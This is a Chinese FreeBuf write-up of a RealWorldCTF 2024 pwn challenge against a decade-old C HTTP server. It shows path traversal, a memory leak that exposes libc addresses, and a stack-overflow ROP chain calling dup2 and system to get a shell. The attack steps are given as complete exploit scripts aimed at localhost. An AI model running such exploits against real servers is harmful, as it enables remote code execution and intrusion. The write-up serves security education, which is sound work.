freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

深入解析RealWorldCTF 2024体验赛PWN方向题目
蚁景科技 2024-02-21 15:24:27 81987

前言

本报告旨在对RealWorldCTF 2024体验赛中的Pwn方向题目——"Be-an-HTPPd-Hacker"进行深入解析和讲解。该题目涉及一个十一年前的项目,其基于C语言实现了HTTP协议。我们将通过对该协议进行栈溢出攻击,探索真实世界中的攻击手法,并从中学习更多有用的攻击技巧,以提升我们的安全水平。通过理解攻击原理和方法,我们能够更好地理解安全防御的重要性,并为未来的安全工作做好准备。本报告将详细介绍攻击过程,希望能为读者提供深入而有价值的学习体验。

搜索字符串,github找源码

从IDA中,shift+F12提取,得到字符串,在github进行搜索能够得到源码在这:

https://github.com/bnlf/httpd/blob/943cb06a09eb553096956b2e394b8366124e0aac/src/httpd.c

具体构造

构造的代码如下,也就是方法 地址 加协议:

method, uri, vProtocol

如 POST www.baidu.comxxx

源码如下:

request parseRequest(char buffer[]) {
char *ptr = buffer;
char method[MAXLINE], uri[MAXLINE], vProtocol[MAXLINE];
request req;

sscanf(ptr, "%s %s %s", method, uri, vProtocol);

// Somente GET ou POST
if(strcasecmp(method, "GET") == 0)
req.method = "GET";
else if (strcasecmp(method, "POST") == 0)
req.method = "POST";
else {
req.method = "INVALID";
req.vProtocol = "INVALID";
req.uri[0] = '\0';
return req;
}

// Sera testado futuramente. Por Enquanto aceita que é um uri valido
req.uri = uri;

if(strcasecmp(vProtocol, "HTTP/1.0") == 0)
req.vProtocol = "HTTP/1.0";
else if (strcasecmp(vProtocol, "HTTP/1.1") == 0)
req.vProtocol = "HTTP/1.1";
else
req.vProtocol = "HTTP/1.1"; // se nao especificado

return req;
}

GET路径穿越

其中get请求,经过简单尝试和逆向发现存在路径穿越,其直接对WWW进行拼接读取。

else if (res.status == 200 ) // Ok
{
return sendFile(req, res,connfd);
}

阅读源码发现如上。

路径穿越漏洞(Path Traversal Vulnerability)是一种常见的安全漏洞,通常发生在Web应用程序或文件系统中。它允许攻击者访问他们没有权限访问的文件或目录,通过修改文件路径来绕过应用程序的访问控制机制。

不过flag没有可读权限,只能通过readflag来执行。

from evilblade import *

context(os='linux', arch='amd64')
# context(os='linux', arch='amd64', log_level='debug')
#GET /index.html HTTP/1.1
setup('./pwn')
libset('./libc.so.6')
rsetup('127.0.0.1',33333)
# rsetup('121.40.246.203',30594)
# pause()
payload = 'GET ' + '/img/../../../etc/profile HTTP/1.0\x00'
# payload = b'POST /form-example.html/../img/../../../add HTTP/1.1\r\n'
pause()
sl(payload)

ia()

这是路径穿越读/etc/profile。

image-20240213113727166

POST栈溢出

其实不是源码也分析的差不多了,就是不太理解这个&=的分割,还有会存在一个奇怪的堆溢出,堆溢出主要是因为malloc大小引起的,在计算

char *line = (char*) malloc(end-start);

中,end出现小于start的情况。我们可以输入多个\n来使得heap足够大,避免溢出的情况。

代码可以看到:

int sendPostMessage(request req, response res, int connfd, char *linePost){

char buffer[MAXLINE];

//Prepara cabecalho HTML
sprintf(buffer, "<html><head><title>Submitted Form</title></head>");

//Cria body
strcat(buffer, "<body><h1>Received variables</h1><br><table>");

strcat(buffer, "<tr><th>Variables</th><th>Values</th></tr>");

char * pch;
char temp[250];

pch = strtok (linePost,"&=");

while (pch != NULL)
{
sprintf(temp, "<tr><td>%s</td>", pch);
strcat(buffer, temp);

pch = strtok (NULL, "&=");

sprintf(temp, "<td>%s</td></tr>", pch);
strcat(buffer, temp);

pch = strtok (NULL, "&=");

}

//Fecha body e html
strcat(buffer, "</table></body></html>");

sendHeader(connfd, req, res, "OK", "text/html");

write(connfd, buffer, strlen(buffer));

return 0;
}

也就是会根据&或者=分割之后,进行连接到temp。

【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注“freebuf”获取!】

① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

其中linepost如下:

void httpd(int connfd) {


char buffer[MAXLINE]; // Buffer dos dados de input
char fileBuffer[MAXLINE];
request req; // Pedido do cliente
response res; // Resposta do servidor
struct stat st;
int n;
int sizeContent = -1;

// Le o que está vindo no socket
n=read(connfd, buffer, MAXLINE);

int i = strlen(buffer);
char options[MAXLINE];
int statusRead = 0;
strcpy(options, buffer);

while(statusRead == 0)
{
if((options[i-3] == '\n' && options[i-1] == '\n') || options[i-1] != '\n')
{
statusRead = 1;
}
else
{
n=read(connfd, options, MAXLINE);
//strcat(buffer, options);
//printf("%s\n", buffer);
i = strlen(options);

if(options[0] == '\r' && options[1] == '\n' && n == 2)
statusRead = 1;
}
}

// Faz o parse da requisicao
req = parseRequest(buffer);

char *linePost;

//Encontra no buffer o tamanho do conteudo
if(strcmp(req.method, "POST") ==0)
{
linePost = getLastLineRead(buffer);
}
//……
char *getLastLineRead(char *buffer) {

int numLines = 0;
int start = 0;
int end = 0;
int bufSize = strlen(buffer);

int i = 0;
int j = 0;

for (i=0;i<bufSize;i++) {
if (buffer[i]=='\n') {
numLines++;
}
}

int *vetPositionLine = (int*) malloc(numLines);

for (i=0;i<bufSize;i++) {
if (buffer[i]=='\n') {
vetPositionLine[j] = i;//出现回车的地方
j++;            
}
}

start = vetPositionLine[numLines-3];
end = vetPositionLine[numLines-1];  

char *line = (char*) malloc(end-start);
strncpy(line,buffer+end,bufSize-end);

return line;
}

就是说当他会把\n处作为起始地址,然后把后面的内容复制到line,这样就可以泄漏地址了!

使用exp:

from evilblade import *

context(os='linux', arch='amd64')

setup('./pwn')
libset('./libc.so.6')
rsetup('127.0.0.1',33333)

payload = b'POST '+ b'A'*3982 + b'\n'
pause()
sl(payload)

ia()
  • 调试方法:执行exp后,用ps -ef | grep 'httpd'之后找到最新的进程用sudo gdb -p PID即可。

或者直接使用命令:sudo gdb -p $(pgrep -n -f './httpd 12345')

image-20240213155519311

最后会从buf+你输入的数据长度,取一个数据写到heap中,下次取出来作参数。

image-20240213155710818

主要对此处进行断点观察。

image-20240213161418550

可以看到:

image-20240213161556416

由此可以泄漏出libc甚至其他了。

使用脚本:

from evilblade import *

context(os='linux', arch='amd64')

setup('./pwn')
libset('./libc.so.6')
rsetup('127.0.0.1',33333)
payload = b'POST '+ b'A'*3982 + b'\n'
sl(payload)

ru("Values</th></tr><tr><td>")
stack = u32(rv(4))
dx(stack)
ld = u32(rv(4))-0xc0c
dx(ld)
libc = u32(rv(4))-2324400
dx(libc)

ia()

泄漏得到:


---------------
your stack is >>> 0xff9c9f0a
---------------

---------------
your ld is >>> 0xedf40000
---------------

---------------
your libc is >>> 0xedcca000
---------------

构造ROP

从这个部分可以发现,会将原本的内容根据&=分割,然后加上<tr><td>之类的字符串,使得字符串长度变大,会导致栈溢出。那么我们根据前面得到的基地址,和这个部分漏洞进行ROP构造,从而getshell。

char * pch;
char temp[250];

pch = strtok (linePost,"&=");
while (pch != NULL)
{
sprintf(temp, "<tr><td>%s</td>", pch);
strcat(buffer, temp);

pch = strtok (NULL, "&=");

sprintf(temp, "<td>%s</td></tr>", pch);
strcat(buffer, temp);

pch = strtok (NULL, "&=");

}

做以下构造,经过多次尝试终于得到了控制返回地址为xxxx:

from evilblade import *

context(os='linux', arch='amd64')

setup('./pwn')
libset('./libc.so.6')

rsetup('127.0.0.1',33333)
payload = b'POST '+ b'A='*1850

#test= cyclic(0x700).decode()
#modified_test = ''.join(['=' if (i) % 5 == 0 else test[i] for i in range(len(test))])
#d(modified_test)

payload = b'POST / A\n'+ b"A"*2400 + b"\n"
payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=aaeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aafq=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=aima=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp"
payload += b"=" + p32(0xeb029050)*10+ b"xxxx" + b"="
d(payload)
dpx('len',len(payload))
pause()
sd(payload)

其中xxxx为任意地址,可以返回!

image-20240213222234157

由于 sprintf的原因,不能输入\x00和\n之类的作为rop,我这里采取加减法的方式进行绕过,先输入不包含0和0a的字符,后续根据加减恢复到我们需要的字符。

搜索有:

pwndbg> search -4 0x11111111
Searching for value: b'\x11\x11\x11\x11'
libc.so.6       0xf0ca28f4 0x11111111
libc.so.6       0xf0ca2a08 0x11111111
libc.so.6       0xf0ca2a0c 0x11111111

计算得到:
λ ~/ python
Python 3.11.6 (main, Nov 14 2023, 09:36:21) [GCC 13.2.1 20230801] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xf0ca28f4 -0xf0af1000)
'0x1b18f4'#这是libc偏移
>>> hex(0x100000000-0x11111111)
'0xeeeeeeef'
>>>

那么我们用以上作为差值计算,其中0x11111111+0xeeeeeeef相加等于0。

构造的ROP如下:

push_esi = p32(libc+0x00061c0d) # push esi ; ret
nop_ret = p32(libc+0x0002fce8) # nop ; ret
read = p32(symoff("read",libc))
pop_ebx = p32(0x0002c01f+libc) # pop ebx ; ret
add_ebx = p32(0x001959c2 +libc)# add ebx, eax ; add eax, 2 ; ret)
pop_eax = p32(libc+0x0002ed92)#: pop eax ; ret)
add_ecx = p32(libc+0x000b4fd3) # : add ecx, dword ptr [ebx + 0x5f082444] ; ret)

# dup2($ebx,$ecx)
rop =  pop_esi + dup22
rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)
rop += pop_ecx_eax + p32(0xeeeeeeef)*2
rop += add_ecx #$ecx = 0
rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)
rop += add_ebx #$ebx = 4
rop += push_esi

rop += pop_esi + dup22
rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)
rop += pop_ecx_eax + p32(0xeeeeeeef+0x1)*2
rop += add_ecx #$ecx=1
rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)
rop += add_ebx #$ebx = 4
rop += push_esi
rop += p32(symoff("system",libc)) + p32(0xdeadbef) + p32(libc+0x001bd0d5)
if b"=" in rop or b"\x00" in rop:
print("stop!")
pause()

payload = b'POST '+ b"A"*2400 + b"\n"
payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=aaeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aafq=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=aima=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp"
payload += b"=" + (nop_ret)*10
payload += rop
payload += b"="

完整exp如下:

from evilblade import *

context(os='linux', arch='amd64')

setup('./pwn')
libset('./libc.so.6')

rsetup('127.0.0.1',33333)
payload = b'POST '+ b'A'*3982 + b'\n'
sl(payload)

ru("Values</th></tr><tr><td>")
stack = u32(rv(4))-0x1ed0a
dx(stack)
ld = u32(rv(4))-0xc0c
dx(ld)
libc = u32(rv(4))-2324400
dx(libc)

close()
rsetup('127.0.0.1',33333)
payload = b'POST '+ b'A='*1850

#test= cyclic(0x700).decode()
#modified_test = ''.join(['=' if (i) % 5 == 0 else test[i] for i in range(len(test))])
#d(modified_test)


sub_eax_ecx = p32(libc + 0x0018b0f8) # sub eax, ecx ; ret
push_eax = p32(libc + 0x00036a7d) # push eax ; ret
pop_ecx_eax = p32(libc + 0x001280f4) # pop ecx ; pop eax ; ret
dup22 = p32(symoff("dup2",libc)+0xe)
push_edx = p32(libc+0x00192ac8) # push edx ; ret
pop_edx = p32(libc+0x00037375) # pop edx ; ret
pop_esi = p32(libc+0x00021479) # pop esi ; ret
push_esi = p32(libc+0x00061c0d) # push esi ; ret
nop_ret = p32(libc+0x0002fce8) # nop ; ret
read = p32(symoff("read",libc))
pop_ebx = p32(0x0002c01f+libc) # pop ebx ; ret
add_ebx = p32(0x001959c2 +libc)# add ebx, eax ; add eax, 2 ; ret)
pop_eax = p32(libc+0x0002ed92)#: pop eax ; ret)
add_ecx = p32(libc+0x000b4fd3) # : add ecx, dword ptr [ebx + 0x5f082444] ; ret)
# dup2($ebx,$ecx)
rop =  pop_esi + dup22
rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)
rop += pop_ecx_eax + p32(0xeeeeeeef)*2
rop += add_ecx #$ecx = 0
rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)
rop += add_ebx #$ebx = 4
rop += push_esi

rop += pop_esi + dup22
rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)
rop += pop_ecx_eax + p32(0xeeeeeeef+0x1)*2
rop += add_ecx #$ecx=1
rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)
rop += add_ebx #$ebx = 4
rop += push_esi
rop += p32(symoff("system",libc)) + p32(0xdeadbef) + p32(libc+0x001bd0d5)
if b"=" in rop or b"\x00" in rop:
print("stop!")
pause()

payload = b'POST '+ b"A"*2400 + b"\n"
payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=aaeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aafq=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=aima=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp"
payload += b"=" + (nop_ret)*10
payload += rop
payload += b"="


d(payload)
dpx('len',len(payload))
dpx("begin",uu64(pop_esi))
dpx("nop",uu64(nop_ret))
dx(stack)
pause()
sd(payload)

ia()

攻击结果:

image-20240214140648135


# pwn # HTTP协议 # CTF赛事
本文为 蚁景科技 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
蚁景科技 LV.9
湖南蚁景科技有限公司主要从事在线教育平台技术研究及网络培训产品研发,专注网络空间安全实用型人才培养,全面提升用户动手实践能力。
  • 907 文章数
  • 676 关注者
蚁景科技荣膺双项殊荣,引领网络安全教育新潮流
2025-03-28
FlowiseAI 任意文件写入漏洞(CVE-2025–26319)
2025-03-27
路由器安全研究:D-Link DIR-823G v1.02 B05 复现与利用思路
2025-03-18
文章目录